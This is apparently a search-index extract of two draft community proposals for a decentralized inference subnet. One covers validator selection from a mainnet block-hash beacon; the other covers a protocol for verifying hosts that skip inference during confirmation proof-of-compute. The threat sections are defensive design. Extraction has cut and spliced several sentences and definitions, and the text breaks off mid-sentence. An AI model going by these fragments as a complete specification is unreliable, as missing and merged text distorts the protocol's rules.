User and executor in the same attacking group. Here the user can shape or delay diffs around MsgFinishInference. The main residual risk is reputation / economics: the group may try to steer outcomes so the executor gains credit for inferences that never receive honest validation. That is not treated as a critical safety or liveness break in the same class as consensus faults; it is still worth bounding with sampling, optional user-paid full validation, and clear settlement rules — but perfect prevention against a malicious sequencer colluding with the executor may be out of scope for the strongest guarantees.
Additional risks (orthogonal to the split above):
R depends on grindable fields, the colluding user may try to tweak diff contents to change sortition; beacon-style R (option A) reduces this.R for that inference (exact predicate TBD per option A/B/C).R", "text": "We need a value R_inf (or per-validator VRF inputs) such that:
validationSeedHeight is only a few blocks after the commit bundle’s finishInferenceHeight, at the cost of waiting for that block before validator identity is final.A concrete instantiation is in Design directions below (three-party heights + block_hash(validationSeedHeight)).
This section is a concrete protocol sketch. It instantiates the goals above: transparent randomness from mainnet, no seed-reveal round, and third-party involvement so the user alone cannot fix the beacon. Older abstract options (VRF-only, state-root-only) are not repeated here; they remain alternatives if this sketch is refined.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#alignment-with-the-current-subnet-todays-code-and-behavior", "title": "Alignment with the current subnet (today’s code and behavior)", "text": "The first segment of the flow matches subnet/user/user.go and subnet/host/host.go today:
MsgStartInference (the code sets InferenceId to the new diff nonce; the executor for that inference is group[inference_id % len(group)]).nonce; the HTTP request for that diff is sent to hostIdx = nonce % len(group) (round-robin over the escrow participant list).inference_id % len(group) (same modulus); that host runs RunExecution, then queues MsgFinishInference (signed by the executor) in its mempool for later inclusion in a user diff.So: start → execute → finish queued matches the current implementation. The new material below begins after MsgFinishInference is accepted into session state (included in a diff).
Naming: There is no MsgStartValidation in the current codebase; the user-facing start of work is MsgStartInference. Below, “FinishInference commit” is a proposed step (MsgFinishInferenceCommit or equivalent), not an existing tx type.
MsgFinishInference", "text": "Unchanged: user-driven diffs, executor execution, MsgFinishInference with ResponseHash, token counts, ProposerSig, etc.
MsgFinishInferenceCommit on the next host (user → host B)", "text": "nonce). Routing uses hostIdx := int(nonce % uint64(len(group))) (subnet/user/user.go) — typically a different host than the previous diff’s receiver when len(group) > 1. That receiver is host B. len(group)==1: there is no distinct B; define a fallback (e.g. mainnet-only beacon without B/C, or no sampled validation for this escrow size).MsgFinishInferenceCommit (encoding TBD) that binds the finished inference (e.g. inference_id, response_hash, escrow_id) and carries a height-sync section as in HEIGHT_SYNC_PROTOCOL_PROPOSAL.md: latest attested mainnet height, LightBlock, sender_signature, etc.inference_id, and not B). Selection uses a public rule (e.g. H(escrow_id || inference_id || …) % |eligible|) so all implementers agree.HEIGHT_SYNC_PROTOCOL_PROPOSAL.md; C responds with a signed attestation of their latest aligned height (same envelope rules).After this step, three parties each hold a verifiable view of “latest height” at the time of the commit round: user (A), B, C.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#step-4-deterministic-finishinferenceheight", "title": "Step 4 — DeterministicfinishInferenceHeight", "text": "All participants compute:
finishInferenceHeight = max(height_A, height_B, height_C)
using only signed, verifiable height fields from the commit bundle (each party’s section-1 style proofs as in HEIGHT_SYNC_PROTOCOL_PROPOSAL.md). This value is deterministic given the same bundle.
validationSeedHeight and unknowable block hash", "text": "Even with three parties, fresher mainnet blocks may already exist than finishInferenceHeight. To reduce the chance that any party picked the beacon in advance, define:
validationSeedHeight = finishInferenceHeight + VALIDATION_TRIGGER_OFFSET
where VALIDATION_TRIGGER_OFFSET is a small policy constant (e.g. 2 or 3 mainnet blocks). Semantics: validation sampling for this inference is keyed to mainnet height validationSeedHeight — i.e. the block at that height whose hash is not knowable to anyone until that block is finalized (under the chain’s assumptions).
Let block_hash(H) be the canonical block ID hash at height H. Define e.g.:
R_inf = H(escrow_id || inference_id || block_hash(validationSeedHeight) || …)
and derive eligible validator(s) from R_inf with a public formula (e.g. weighted by reputation / stake as policy requires). Everyone agrees on who must validate once block_hash(validationSeedHeight) is available.
MsgFinishInferenceCommit bundle + heights + validationSeedHeight + block_hash once known.EligibleValidators using the same R_inf rule.If the user stops sending messages but finalization starts, validators (and other hosts) publish whatever proofs and partial results they hold so the rest of the group can verify scheduled validations. Finalization checks should include: all validations scheduled under this protocol for finished inferences have corresponding results (or explicit timeout / slash per policy). This aligns with the TODO in FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md on unfinished inferences and validations.
For workloads that require every inference to be checked (user-paid or policy), do not add a second randomness path. Use the same session rule as normal routing: advance the nonce and send the next diff to the next host in the round-robin (hostIdx = nonce % len(group)).
Constraint: the validator for this extra step must not be the executor for that inference. The executor is fixed by inference_id % len(group) (slot / host index). When incrementing nonce, if the next host index would equal the executor’s index, skip it once (increment again) so validation always lands on a different host.
Multiple slots under one address: if one operator owns several slots, the rule is still host-index (or primary slot index) based: no validation round may target the same executor index as the inference, even if another slot of the same address would receive the message — implementation maps slot → host round-robin index consistently so the executor cannot validate their own execution via a sibling slot.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#threats-and-attack-vectors-review-of-this-sketch", "title": "Threats and attack vectors (review of this sketch)", "text": "Concern Notes Stale or forged heights Mitigated byLightBlock verification and section-1 rules in HEIGHT_SYNC_PROTOCOL_PROPOSAL.md; all three heights must be attested, not self-reported scalars. Delaying MsgFinishInferenceCommit Not hash grinding in practice: finishInferenceHeight is max(height_A, height_B, height_C) from three attested views (user + B + C); the user does not unilaterally pick that max. validationSeedHeight = finishInferenceHeight + VALIDATION_TRIGGER_OFFSET targets a block several heights later; the hash at that height is unknowable at commit time regardless of how “fast” the user’s RPC is — OFFSET exists precisely so the beacon is not the next block after the commit bundle. Delaying the commit only shifts wall-clock when heights are sampled; it does not let the user select block_hash(validationSeedHeight) like grinding a nonce. Real residual: liveness / griefing — the user can withhold MsgFinishInferenceCommit forever or past a deadline (mitigate with max commit delay, escrow policy, penalties). Optional edge cases: OFFSET = 0, or pathological predictability of the chain, could revive bias discussions — keep OFFSET at least 2–3 blocks as in the sketch. B and C collude with user Matches Threat model §2: mostly reputation / economics; three parties still cannot forge mainnet block_hash at validationSeedHeight. Omitting MsgFinishInferenceCommit If optional, user+executor could never trigger validationSeedHeight sampling — must be mandatory for sampled validation to count, or treated as slash / no payout for that inference. Steering host C (theoretical grind) C is not fully user-independent in every wiring: the user chooses when to send MsgFinishInferenceCommit and thus which host is B (round-robin by nonce), which can influence which host is drawn as C under the deterministic rule. So a motivated party could in principle expend effort to nudge C. The upside of doing so is weak and expensive: the only clear win is inflating executor reputation while avoiding real checks, and that scenario effectively requires one operator to control the user, the executor, B, and C — four roles spanning the user plus three hosts, i.e. a large fraction of a typical subnet. Even then, the attacker still pays fees and inference cost, MsgStartInference remains tied to the monotonic nonce and round-robin routing, and all committed heights and the commit bundle stay on the record for later analysis. So grinding C is possible in theory but usually economically and operationally meaningless compared to running the protocol honestly. Validator griefing / spam Proof packages must be cheap to verify; rate-limit notify traffic; eligibility checked before work. Finalization race If finalization runs before block_hash(validationSeedHeight) exists, define wait, timeout, or penalty; align with unfinished validation TODO on the finalization doc. Privacy (Motivation §6) This sketch does not by itself encrypt payloads; TEE-bound delivery of prompts/responses to the selected validator is a separate layer (user encrypts to validator attestation)."}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#relation-to-finalization-collector-protocol", "title": "Relation to finalization collector protocol", "text": "FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md addresses settlement (vote/commit, collectors). Validation eligibility and R_inf from Design directions are orthogonal: finalization should not depend on reproducing MsgRevealSeed semantics. Finalization must still reconcile scheduled validations (see Design directions — Step 7 and the TODO in that doc on unfinished work).
MsgFinishInferenceCommit (fields, signatures, inclusion relative to MsgFinishInference).VALIDATION_TRIGGER_OFFSET, EligibleValidators(R_inf, …) (reputation weights), and mandatory vs optional commit step for payout.RevealedSeeds / recomputeCompliance / penalizeUnrevealedSeeds with rules that match this beacon + commit bundle (or interim bridge for legacy escrows).../issues/validation-protocol-remove-seed-reveal.md and extend PROTOCOL_TESTING_PROPOSAL.md with three-party commit, timing grind, omit commit, and finalization-before-beacon cases.shard-state-trim-inferences-by-height.md.Draft proposal — for review before implementation.
"}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/", "title": "#1190 — `devshard improvements` cPoC skip protocol — proposal", "text": "🔄 Auto-sync: from Discussion #1190 every hour.
"}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#devshard-improvements-cpoc-skip-protocol-proposal", "title": "devshard improvements cPoC skip protocol — proposal", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-05-19 06:18 UTC · Обновлено: 2026-05-19 06:18 UTC
"}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#cpoc-skip-protocol-devshard-proposal", "title": "cPoC skip protocol (devshard) — proposal", "text": ""}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#summary", "title": "Summary", "text": "In a devshard, hosts that run confirmation PoC (cPoC) must not serve normal inference for the duration of their PoC obligation. Other hosts must be able to tell whether a skip is legitimate (the skipping host is on the cPoC schedule at the relevant height) or abusive (lying, or refusing work). This document specifies the data flow and the cases that the cPoC protocol must handle.
Out of scope for this document:
**H(host) equal to the height known to the majority of validators / devshard hosts (its own follower + height-sync rules have converged on that value). Discrepancies at the level handled by the height-sync spec are that spec’s problem; this document only distinguishes the cases where such a discrepancy affects a cPoC verdict** and defers the discrepancy itself to height sync.POC_SLOT hosts (inference-exempt role) — policy/RNG, see Scope table.Valid / Invalid / Inconclusive) and hands evidence to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.Status: draft — data flow + cases specified below; wire schemas, chain hooks, and slashing predicates still TBD.
"}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#scope", "title": "Scope", "text": "Part Content Depth in this doc 1 On escrow start, random (or policy-driven) host assignment so that roughly ~20% of devshard hosts havePOC_SLOT = true (keep serving inference during cPoC windows) and the rest run cPoC when scheduled. Out of scope for deep specification — operational/policy; implementers can fix exact ratio and RNG source separately. 2 Protocol for proving that a host was entitled to skip inference because of cPoC at a given mainnet height, under height disagreement and Byzantine developers/hosts. In scope — normative intent below; formalization pending."}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#shared-assumptions-informative", "title": "Shared assumptions (informative)", "text": "**V exposes a scalar **H(V)** — the mainnet height known to the majority of validators / devshard hosts as of **V’s latest convergence with the height-sync layer. This doc does not re-specify how H(V) is computed, trusted, or refreshed; see HEIGHT_SYNC_PROTOCOL_PROPOSAL.md. When this doc says “height **H” without qualification, read it as **H(V) at the moment V evaluates the case.**H_i** and a mainnet height **H**, there exists a deterministic predicate **Schedule(H_i, H) ∈ {idle, prepare, active}** derivable from chain / epoch state by anyone with that height. Semantics of prepare vs active are defined in the chain-side cPoC spec and out of scope here.**POC_SLOT roster: For the epoch in force, a set **PoC_slot_set of hosts with POC_SLOT = true is available to every honest host (exact provenance — escrow init vs post-init query — is Open question 1).**N_slots slots and fixed mapping **executor(nonce) = hosts[nonce mod N_slots]**, the same logical slot recurs at **nonce + N_slots** (one round**).**R_req is merged into the session's linearized diff at some later nonce **R_req + x, **x ≥ 0** — not necessarily the same nonce. Any nonce-bound rule must work on the nonce at which a message appears in Diff, not on wall-clock pairing with the outbound request.All nonces below are monotonic indices into Diff (Data flow § Per-session local state). They are defined here once so later sections can reference them without re-introducing each.
n Generic Diff nonce. — R_req Request nonce. The nonce at which MsgStartInference is appended to Diff (Path A) — the inference request a cPoC skip answers. D → devshard (MsgStartInference). N_SP Probe nonce. The nonce at which MsgSkipProbe is appended to Diff (Path B) — the lightweight probe that plays R_req's role when no prompt is submitted. D → devshard (MsgSkipProbe). N_carry Carry nonce. The nonce at which the CarrySkip envelope (embedding either the signed CPoCSkipResponse or CPoCProbeResponse) is appended to Diff. This is the only verdict-bearing artifact in Diff; every verifier computes Verdict from Diff[N_carry]. Causality: R_req < N_carry in Path A (distinct proto messages ⇒ distinct nonces, and the dev cannot sign the carry until after the host's p2p response exists); N_SP < N_carry in Path B for the same reason. D → devshard (CarrySkip). X Witness nonce. The latest nonce ≤ R_req (or ≤ N_SP) whose executor is V itself; height_at[X] is V's local height observed no later than R_req and is the lower endpoint of the freshness interval I = [h_X, h_carry]. Formula and derivation in § Verdict predicate, step 1. Computed locally by each V. N_slots Number of executor slots per round; executor(n) = hosts[n mod N_slots] (assumption 4). Chain / epoch parameter."}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#problem-statement", "title": "Problem statement", "text": ""}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#1-skip-correctness", "title": "1. Skip correctness", "text": "A host that returns “skipping because of cPoC” may be:
Schedule(H_i, H) ∈ {prepare, active} and H_i ∉ PoC_slot_set, orCPoC_SKIP while not scheduled / while in PoC_slot_set (avoids work).The protocol must let every honest verifier **V reach the same verdict from the same diff, using **H(V) as the height oracle (assumption 1).
A developer could hold a host's cPoC skip response and later attach it via CarrySkip. Mitigation is layered:
I = [h_X, h_carry] each verifier personally witnesses (§ Nonce binding). A late carry of a genuine skip blob remains Valid — it was truthful at a height in I; a late reveal does not retroactively make it a lie. Only skips that were never legitimate at any height in I produce Invalid.MsgTimeoutInference{…CPOC} timeouts and finalization deadlines.Under high inference rate, if most hosts skip during cPoC, per-skip gossip is unacceptable:
The formalization in § Data flow and the cases in § Cases to handle are chosen to satisfy the following principles. Nonce symbols (R_req, N_SP, N_carry, X, N_slots) are defined in Shared assumptions → Notation; H(V), Schedule, and PoC_slot_set in Shared assumptions items 1–3; timeout_skip_gossip under § Gossip minimization.
The developer chooses one of two shapes when opening a request; both converge on the same Verdict predicate.
Path A — inference with possible cPoC refusal (full payload). Developer submits a real inference request; the host either confirms and runs it, or refuses because of cPoC.
D → devshard : MsgStartInference(R_req, prompt_hash, …) [into Diff at R_req]\n\n happy path → H_i → devshard : MsgConfirmStart(R_req) [into Diff]\n → … → MsgFinishInference\n\n cPoC path → H_i → D : CPoCSkipResponse(R_req, reason) [p2p; NOT in Diff]\n D → devshard : CarrySkip(N_carry, <embedded CPoCSkipResponse>)\n [into Diff at N_carry]\nPath B — lightweight skip probe (no prompt, no inference cost). Developer asks H_i to report its cPoC state without paying a prompt. The host does not execute inference; it just returns a signed status. The response has two possible outcomes:
H_i is still on cPoC (cpoc_active or cpoc_prepare); behaves like a Path-A skip for verdict purposes.H_i has finished cPoC and is READY_INFERENCE; the developer should resume sending real MsgStartInference to H_i.D → devshard : MsgSkipProbe(N_SP) [into Diff at N_SP]\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈ {cpoc_active,\n cpoc_prepare,\n ready}) [p2p; NOT in Diff]\nD → devshard : CarrySkip(N_carry, <embedded CPoCProbeResponse>) [into Diff at N_carry]\n # N_SP < N_carry strictly (two distinct Diff entries)\nA ready outcome carried into Diff is not an Invalid skip — the verdict predicate simply does not apply (no refusal to validate). It is instead a scheduling receipt: V records that H_i signalled ready at a height in [h_X, h_carry]. Subsequent developer behaviour is checked against that receipt by C13 (developer keeps probing / skipping a ready host — see § Cases).
Future optimization (deferred, see Open question §8). Once D has a fresh CarrySkip proving H_i is on cPoC, subsequent skips of H_i within the same cPoC window should not need a full probe roundtrip: D can place a single developer-signed marker into Diff at H_i's slot and route the real request to H_{i+1}. Collapses the three-message Path-B triple (MsgSkipProbe → CPoCProbeResponse → CarrySkip) to one D-signed entry per repeated skip. Out of scope for this release; the current doc specifies only the explicit-probe flow.
Key invariants shared by both paths:
CPoCSkipResponse (Path A refusal) or CPoCProbeResponse (Path B status), the host's signed statement only enters the verifier's field of view when the developer echoes it via **CarrySkip** into Diff.**CarrySkip is the primary verdict-bearing artifact in Diff. Every V computes Verdict from Diff[N_carry]. For Path A**, the predicate additionally scans Diff for a MsgConfirmStart matching the same inference_id; if one exists (in either direction relative to N_carry), the verdict is Invalid against H_i for double-claim (see § Verdict predicate, step 2, and § Cases → C2').Diff entries per path. Both paths have R_req < N_carry (resp. N_SP < N_carry) strictly: different proto messages occupy different nonces, and the developer signature on CarrySkip binds bytes that only exist after the host's p2p response arrives.CarrySkip has reached a final Verdict, closing the inference record at chain level uses the existing MsgTimeoutInference{reason = TIMEOUT_REASON_CPOC} path (new enum value); this settlement step is not what the verdict depends on.Everything below — nonce binding, gossip minimization, data flow, cases — applies to both paths uniformly; the only Path-B specialization is the additional ready outcome (and its follow-on case C13).
Because of asynchronous developer traffic (Shared assumptions, item 5), the response to a request sent at nonce **R_req may appear in Diff only at nonce **R_req + x**, **x ≥ 0**. The delay x is not bounded in rounds — rounds can be far faster than mainnet blocks or host response, so many rounds may legitimately elapse between R_req and N_carry. Verdicts therefore bind to a height interval that each verifier constructs locally** from its own observations of Diff:
**R_req** (the request it answers), stated inside the signed CPoCSkipResponse. (Term chosen to avoid collision with the height-sync \"Anchor\", which is out of scope here.)**N_carry** (the nonce at which CarrySkip is appended to Diff and becomes visible to verifiers).X = the latest nonce ≤ R_req whose executor is V itself — a nonce V personally handled, so height_at[X] is a height V actually observed no later than R_req. The exact formula (same round vs. previous round, depending on SP_v vs. SP_e) and its derivation are given in § Verdict predicate, step 1.I = [h_X, h_carry] where h_X := height_at[X] and h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry]. This interval bounds the set of mainnet heights at which the host's skip could physically have been produced, as seen through this verifier's local clock.Schedule(H_i, H) ∈ {prepare, active}. If no height in I places H_i on the cPoC schedule, the skip could not have been truthful at any moment V witnessed → Invalid against H_i. A stale but genuine skip blob replayed well after the host returned to READY_INFERENCE is still Valid — the host was legitimately refusing at some height in I; a late carry does not retroactively make it a lie. (Replay / withholding harms settlement, not the cPoC verdict — see § Consensus / voting and the settlement-only row in the primitives table.)h_X and h_carry from its own height_at[·] map; the developer's or host's claimed height in CPoCSkipResponse is informational and is not input to the verdict.timeout_skip_gossip after N_carry the session advances to N_carry + N_slots (one full round), every honest verifier has seen the evidence via the diff. No dedicated gossip is emitted.V with a non-Valid verdict MAY emit a compact SkipEvidenceGossip pointing into Diff. Peers re-run the verdict predicate locally.Parameter **timeout_skip_gossip (proposal: ≈ 2 mainnet blocks) is chain-parametrized**; its exact value is out of scope here.
**D** Developer / client. **H_i** Host at slot **i** (i = nonce mod N_slots). **V** Any verifier (a host that observes the session diff and must form a verdict)."}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#per-session-local-state-at-each-v", "title": "Per-session local state (at each **V**)", "text": "Symbol Meaning **Diff** Append-only linearized diff of session messages, indexed by monotonic nonce **n**. **H(V)** Height oracle (out of scope — supplied by HEIGHT_SYNC_PROTOCOL_PROPOSAL.md): mainnet height known to the majority of validators as of **V**’s latest height-sync convergence. **height_at[n]** Local map: when V ingests diff entry at nonce **n**, it records **H(V)** at that moment. Not shared; local only. **PoC_slot_set** See assumption 3. **pending_verdicts** Buffer of skip attestations ingested from Diff whose Verdict is not yet final, keyed by (R_req, N_carry). Three reasons an entry sits here: (a) **Inconclusive** — I's endpoints (h_X, h_carry) are not yet strictly confirmed by the height-sync layer (resolution key: confirmation signal covering I, see C6); (b) **Invalid** awaiting the round-elision / gossip deadline (C9/C10); (c) **provisional** within the seal window [h_carry, h_carry + W_seal] used by step (2) of the Verdict predicate — a MsgConfirmStart for the same inference_id may still arrive and flip the verdict to Invalid (C2'). Note that Diff[X] is always present by the time Diff[N_carry] is ingested (because X ≤ R_req ≤ N_carry and Diff is append-only), so h_X is always immediately computable — no \"wait for witness\" deferral exists. Each entry holds: N_carry, R_req, skipping host H_i, raw signed host response (CPoCSkipResponse or refusal-outcome CPoCProbeResponse), current tentative verdict (if any), provisional_until mainnet height (when reason (c) applies), and the resolution key/deadline. Entries are removed on commit: Valid → drop after the seal window expires; Invalid → hand to finalization. ready-outcome carries never enter this buffer — they are recorded directly in ready_at (below). **ready_at** Map host → (N_carry, h_carry, reset_height?) recording the latest CPoCProbeResponse(outcome = ready) for each host, from the most recent CarrySkip in Diff with payload_kind = probe_response and outcome = ready. Consumed by case C13 (developer withholding from a ready host). Cleared for H_i when V later observes either (a) Schedule(H_i, H) ∈ {active, prepare} strictly confirmed for some H > h_carry, or (b) a fresh non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried into Diff. **withholding_alert** Per-(D, H_i) flag set by V when the C13 violation predicate fires on local Diff observations; cleared per C13 flow step 5. While set, V (if queued as a future executor for D) refuses to serve D until fairness is restored."}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#primitives", "title": "Primitives", "text": "Names in subnet/proto/subnet/v1/{tx,diff}.proto unless marked (new). The verdict-predicate input set is MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip; the verdict-settlement input set is CPoCVote; the remaining messages are p2p carriers (CPoCSkipResponse, CPoCProbeResponse), delivery gossip (SkipEvidenceGossip), or final settlement (MsgTimeoutInference{…CPOC}).
**MsgStartInference** Diff (existing) D → devshard Inference request at nonce R_req: inference_id, prompt_hash, model, input_length, max_tokens, started_at. Path A only; this is the request the cPoC verdict anchors on. **MsgConfirmStart** Diff (existing) H_i → devshard Happy-path executor confirmation: inference_id, executor_sig, confirmed_at. Absent when H_i is skipping for cPoC. Presence alongside a matching Path-A CarrySkip for the same inference_id is a protocol violation: both messages carry H_i's signature on contradictory claims, and Verdict step (2) flips the verdict to Invalid against H_i (see § Cases → C2'). The mutual-exclusion check holds regardless of the order in which the two entries appear in Diff. **CPoCSkipResponse (new)** p2p (not in Diff) H_i → D Path A only. Host's signed refusal to a real inference request: inference_id, reference_nonce = R_req, reason ∈ {cpoc_active, cpoc_prepare}, optional claimed_height_h_i (informational; verdict ignores it), host signature under domain cPoCRefusalContent. **CPoCProbeResponse (new)** p2p (not in Diff) H_i → D Path B only. Host's signed response to a skip probe: probe_nonce, reference_nonce = N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}, optional claimed_height_h_i (informational), host signature under domain cPoCProbeResponseContent. ready means H_i has exited cPoC and expects real inference requests. **CarrySkip (new)** Diff (new message in SubnetTx oneof) D → devshard Developer-signed envelope that embeds exactly one host response blob — either a CPoCSkipResponse (Path A) or a CPoCProbeResponse (Path B) — and places it at nonce N_carry: nonce = N_carry, referenced_nonce = R_req (or N_SP), payload_kind ∈ {skip_response, probe_response}, bytes host_response, developer signature under domain CarrySkipContent. The only verdict-bearing / scheduling-bearing cPoC artifact in Diff. **MsgSkipProbe (new)** Diff (new message in SubnetTx oneof) D → devshard Path-B lightweight probe: probe_nonce = N_SP, target_host_id, session/routing, no prompt payload. Enters Diff at N_SP. The host's response (CPoCProbeResponse) is p2p and echoed into Diff via a subsequent CarrySkip at N_carry > N_SP. CPoCVote (new) p2p (→ collector), bundled into finalization V → collector Signed verdict vote emitted by each verifier with a non-Valid local verdict. Fields: N_carry, referenced_nonce, target ∈ {host(H_i), carrier(D), developer(D)}, verdict, reason_code, schedule_witness, signature under domain cPoCVoteContent. Collector: for target = host(H_i), developer D aggregates until quorum_invalid (this release). For votes against D (C3′, C13), aggregation belongs in the finalization round once self-finalization exists — not D. This release leaves that path unspecified (optimistic gap); see § Consensus / voting. MsgTimeoutInference with reason = TIMEOUT_REASON_CPOC (new enum value) Diff (existing message + new enum) collector → devshard Settlement only. After the CPoCVote quorum has decided a final Verdict, the inference record is closed through the existing timeout path with the new reason. Carries inference_id, repeated TimeoutVote votes. Verifiers do not need this to compute the verdict. SkipEvidenceGossip (new, optional) Off-diff gossip host ↔ hosts Used only when round-elision fails (§ Gossip minimization). References entries in Diff (inference_id, N_carry, vote indexes). Delivery aid only — makes the same CarrySkip visible to lagging peers so they can compute their local verdict and emit CPoCVote. Does not itself contribute to the verdict or the vote bundle."}, {"location": "community/discussion/proposals/1190-devshard-improvements-cpoc-skip-protocol-proposal/#end-to-end-flow-happy-path-host-actually-on-cpoc", "title": "End-to-end flow (happy path, host actually on cPoC)", "text": " nonce R_req nonce R_req+1..N_carry-1\n D ─────────────── InferenceRequest(R_req) ─────────────▶ H_i (other requests to H_{i+1..})\n │\n H_i in cPoC\n │\n D ◀─────────── CPoCSkipResponse(R_req, reason) ───────────┘ (arrives async, R_req + x in Diff)\n\n D ───── CarrySkip(N_carry) embeds CPoCSkipResponse(R_req, …) ──▶ any host ──▶ Diff[N_carry]\n\n each V observing L:\n on ingest Diff[N_carry]:\n record height_at[N_carry] = H(V)\n evaluate Verdict(…) using H(V) and nonce-window rules below\nV computes **Verdict(skip_evidence) ∈ {Valid, Invalid, Inconclusive}** as:
CarrySkip in Diff that references R_req (see \"First-carry rule\" below):R_req ≤ N_carry. A CarrySkip cannot reference a request that has not yet entered Diff. Failure → Invalid against the carrier (developer signature on CarrySkip), not against H_i.X (per § Design principles → Nonce binding). Let SP_e = R_req mod N_slots, SP_v = v_slot, round(R_req) = ⌊R_req / N_slots⌋. Then:SP_v ≤ SP_e → X = round(R_req) · N_slots + SP_v (same round as R_req, X ≤ R_req).SP_v > SP_e → X = (round(R_req) − 1) · N_slots + SP_v (previous round, X < R_req). Taking V's slot in the current round would reference a nonce after R_req; its height_at would be observed after R_req and could not lower-bound H_skip. Stepping back one round gives the latest executor-of-V nonce ≤ R_req.X = R_req − ((SP_e − SP_v) mod N_slots).h_X := height_at[X] — V's local height when it ingested Diff[X]. By construction X ≤ R_req, so h_X was observed no later than the request itself.h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry].h_X ≤ h_carry (heights are monotonic at ingest), and h_carry ≤ H(V)_now (trivially — V is ingesting N_carry right now and stamps h_carry from H(V)_now).**Diff[X] is always available when Diff[N_carry] is being ingested.** By construction X ≤ R_req, and causality (checked first in this step) requires R_req ≤ N_carry, so X ≤ N_carry. Because Diff is append-only and ingested in order, every Diff[k] with k ≤ N_carry is already present when V processes Diff[N_carry].X does not identify a real prior executor-slot of V is round(R_req) = 0 ∧ SP_v > SP_e, where the closed form yields X < 0 — V had no executor slot before R_req in this session. V then falls back to the implicit session-start anchor (the lowest nonce V has ingested, typically 0) as the lower endpoint h_X. This is a cold-start condition only; it does not recur once V has executed at least once.**I := [h_X, h_carry], consumed by step (4). The correct bound is in mainnet heights, and each verifier derives it from heights it personally observed (h_X and h_carry) — no cross-host height assumption required. First-carry rule. If the developer publishes multiple CarrySkip entries for the same R_req, only the earliest N_carry in Diff is admitted as input to the verdict; later duplicates are ignored (they may still be recorded for developer-misbehavior accounting, out of scope for this predicate). This keeps I deterministic across verifiers. Path B. For MsgSkipProbe (case C7) the rule is identical, with R_req := N_SP (the probe nonce) and N_SP < N_carry strictly. CarrySkip may wrap either a CPoCSkipResponse (refusal) or a CPoCProbeResponse (status). If the carried outcome is ready, steps (3–4) of the Verdict predicate do not apply (no refusal to evaluate); the carry is instead recorded as a scheduling receipt consumed by case C13. Worked examples** (let N_slots = 4, V's slot SP_v = v_slot = 2):R_req SP_e branch N_carry round(R_req) X h_X h_carry Result 10 2 SP_v = SP_e (V is executor) 10 2 10 500 500 pass; I = {500} (evaluate Schedule(H_i, 500) in step 3) 10 2 SP_v = SP_e 13 2 10 500 500 pass; same block ⇒ I = {500} 10 2 SP_v = SP_e 40 2 10 500 520 pass; I = [500, 520] — step 3 seeks any H in that interval on the cPoC schedule 11 3 SP_v < SP_e (same round) 40 2 10 500 520 X = 11 − 1 = 10 (same round as R_req); I = [500, 520] 9 1 SP_v > SP_e (previous round) 40 2 6 498 520 X = 9 − 3 = 6 (round 1, not round 2); h_X = 498 observed before R_req; I = [498, 520] 1 1 SP_v > SP_e, round = 0 10 0 — — — bootstrap edge case: no previous round ⇒ fall back to session-start anchor as h_X 10 2 — 9 — — — — fail (causality) → Invalid carrier 10 (probe N_SP) 2 SP_v = SP_e 13 2 10 500 500 pass; I = {500} (Path B; N_SP < N_carry strictly) CarrySkip envelope has payload_kind = skip_response (Path A); skipped for Path B (payload_kind = probe_response, which references N_SP and has no inference_id to collide). Procedure:inference_id* := Diff[R_req].inference_id — read from the original MsgStartInference entry (which must already be in Diff by causality, step 1).Diff for any entry satisfying kind = MsgConfirmStart ∧ inference_id = inference_id* ∧ executor = H_i. Call the matching nonce N_confirm if found.N_confirm < N_carry → Invalid against H_i, reason_code = double_claim_confirm_then_skip. The host confirmed the inference (and therefore ran it, or must have intended to) and then signed a contradictory CPoCSkipResponse that D later carried. This is a cryptographically provable lie: both the MsgConfirmStart.executor_sig and the embedded CPoCSkipResponse signature are H_i's.N_confirm > N_carry (confirm appears after the carry) → Invalid against H_i, reason_code = double_claim_skip_then_confirm. Symmetric violation: the host refused the request, then later confirmed and ran the same inference.MsgConfirmStart for inference_id* may arrive after V has already ingested N_carry and computed a verdict, the verdict from step (4) is provisional for W_seal mainnet blocks after h_carry (W_seal is chain-parametrized — propose ≈ 2 blocks, matching timeout_skip_gossip). During the seal window, if a contradictory MsgConfirmStart lands, V re-runs the predicate and emits a superseding CPoCVote keyed on (N_carry, V_pubkey) (§ Consensus / voting); the collector keeps only the latest. After W_seal expires the verdict is final and this step stops re-firing; any post-seal MsgConfirmStart is a settlement-layer issue, not a cPoC verdict flip. V tracks the seal window via a provisional_until[N_carry] = h_carry + W_seal entry attached to pending_verdicts.MsgConfirmStart for inference_id if a CarrySkip whose embedded skip-response references the corresponding R_req already exists in Diff, and (ii) a CarrySkip(payload_kind = skip_response) referencing R_req if MsgConfirmStart(inference_id = Diff[R_req].inference_id) already exists. Because Diff ordering is already deterministic, this rejection is a pure function of Diff and race-free. With this rule active the scan 